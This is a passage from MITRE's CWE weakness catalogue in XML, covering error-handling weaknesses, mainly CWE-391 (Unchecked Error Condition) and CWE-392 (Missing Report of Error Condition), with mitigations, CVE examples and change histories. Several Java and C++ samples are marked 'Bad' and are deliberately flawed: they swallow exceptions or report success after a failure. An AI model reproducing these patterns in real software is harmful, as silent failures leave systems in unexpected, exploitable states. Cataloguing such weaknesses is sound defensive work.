                                 <xhtml:br/>if (!infile.is_open()) {<xhtml:div style="margin-left:1em;">throw "Unable to open file " + filename;</xhtml:div>}<xhtml:br/>
                                 <xhtml:br/>// get length of file<xhtml:br/>infile.seekg (0, ios::end);<xhtml:br/>int length = infile.tellg();<xhtml:br/>infile.seekg (0, ios::beg);<xhtml:br/>
                                 <xhtml:br/>// allocate memory<xhtml:br/>char *buffer = new char [length];<xhtml:br/>
                                 <xhtml:br/>// read data from file<xhtml:br/>infile.read (buffer,length);<xhtml:br/>
                                 <xhtml:br/>if (!infile.good()) {<xhtml:div style="margin-left:1em;">throw "Unable to read from file " + filename;</xhtml:div>}<xhtml:br/>infile.close();<xhtml:br/>
                                 <xhtml:br/>return buffer;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>catch (char *str) {<xhtml:div style="margin-left:1em;">printf("Error: %s \n", str);<xhtml:br/>infile.close();<xhtml:br/>throw str;</xhtml:div>}<xhtml:br/>catch (...) {<xhtml:div style="margin-left:1em;">printf("Error occurred trying to read from file \n");<xhtml:br/>infile.close();<xhtml:br/>throw;</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public String readFile(String filename) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String retString = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>// initialize File and FileReader objects<xhtml:br/>File file = new File(filename);<xhtml:br/>FileReader fr = new FileReader(file);<xhtml:br/>
                                 <xhtml:br/>// initialize character buffer<xhtml:br/>long fLen = file.length();<xhtml:br/>char[] cBuf = new char[(int) fLen];<xhtml:br/>
                                 <xhtml:br/>// read data from file<xhtml:br/>int iRead = fr.read(cBuf, 0, (int) fLen);<xhtml:br/>
                                 <xhtml:br/>// close file<xhtml:br/>fr.close();<xhtml:br/>
                                 <xhtml:br/>retString = new String(cBuf);<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>} catch (Exception ex) {<xhtml:div style="margin-left:1em;">/* do nothing, but catch so it'll compile... */</xhtml:div>}<xhtml:br/>return retString;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public String readFile(String filename) throws FileNotFoundException, IOException, Exception {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String retString = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>// initialize File and FileReader objects<xhtml:br/>File file = new File(filename);<xhtml:br/>FileReader fr = new FileReader(file);<xhtml:br/>
                                 <xhtml:br/>// initialize character buffer<xhtml:br/>long fLen = file.length();<xhtml:br/>char [] cBuf = new char[(int) fLen];<xhtml:br/>
                                 <xhtml:br/>// read data from file<xhtml:br/>int iRead = fr.read(cBuf, 0, (int) fLen);<xhtml:br/>
                                 <xhtml:br/>// close file<xhtml:br/>fr.close();<xhtml:br/>
                                 <xhtml:br/>retString = new String(cBuf);<xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>} catch (FileNotFoundException ex) {<xhtml:div style="margin-left:1em;">System.err.println ("Error: FileNotFoundException opening the input file: " + filename );<xhtml:br/>System.err.println ("" + ex.getMessage() );<xhtml:br/>throw new FileNotFoundException(ex.getMessage());</xhtml:div>} catch (IOException ex) {<xhtml:div style="margin-left:1em;">System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );<xhtml:br/>throw new IOException(ex);</xhtml:div>} catch (Exception ex) {<xhtml:div style="margin-left:1em;">System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );<xhtml:br/>throw new Exception(ex);</xhtml:div>}<xhtml:br/>return retString;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Improper error handling</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR00-J</Entry_ID>
               <Entry_Name>Do not suppress or ignore checked exceptions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 11: Failure to Handle Errors Correctly.&#34; Page 183"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Improper Error Handling</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="391" Name="Unchecked Error Condition" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code excerpt ignores a rarely-thrown exception from doExchange().</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">doExchange();</xhtml:div>}<xhtml:br/>catch (RareException e) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// this can never happen</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unchecked Return Value</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Empty Catch Block</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Uncaught exception</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR00-C</Entry_ID>
               <Entry_Name>Adopt and implement a consistent and comprehensive error-handling policy</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR33-C</Entry_ID>
               <Entry_Name>Detect and handle standard library errors</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR34-C</Entry_ID>
               <Entry_Name>Detect errors when converting a string to a number</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FLP32-C</Entry_ID>
               <Entry_Name>Prevent or detect domain and range errors in math functions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS54-C</Entry_ID>
               <Entry_Name>Detect and handle POSIX library errors</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP31-PL</Entry_ID>
               <Entry_Name>Do not suppress or ignore exceptions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts.  It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.  CWE analysts might map to this entry based on any of these issues.  7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle.  In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check.  For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least.  There are other issues related to error handling and checks.</Note>
            <Note Type="Other">
               <xhtml:p>When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:</xhtml:p>
                  <xhtml:ul>
                     <xhtml:li>This method call can never fail.</xhtml:li>
                     <xhtml:li>It doesn't matter if this call fails.</xhtml:li>
                  </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="392" Name="Missing Report of Error Condition" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.</Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="684" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Unexpected State</Impact>
               <Note>Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// Something that may throw an exception.</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>} catch (Throwable t) {<xhtml:div style="margin-left:1em;">logger.error("Caught: " + t.toString());<xhtml:br/>return;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0063</Reference>
               <Description>Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0063</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1446</Reference>
               <Description>Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1446</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0499</Reference>
               <Description>Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0499</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2459</Reference>
               <Description>Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2459</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Error Status Code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>TPS03-J</Entry_ID>
               <Entry_Name>Ensure that tasks executing in a thread pool do not fail silently</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP6</Entry_ID>
               <Entry_Name>Incorrect Exception Behavior</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
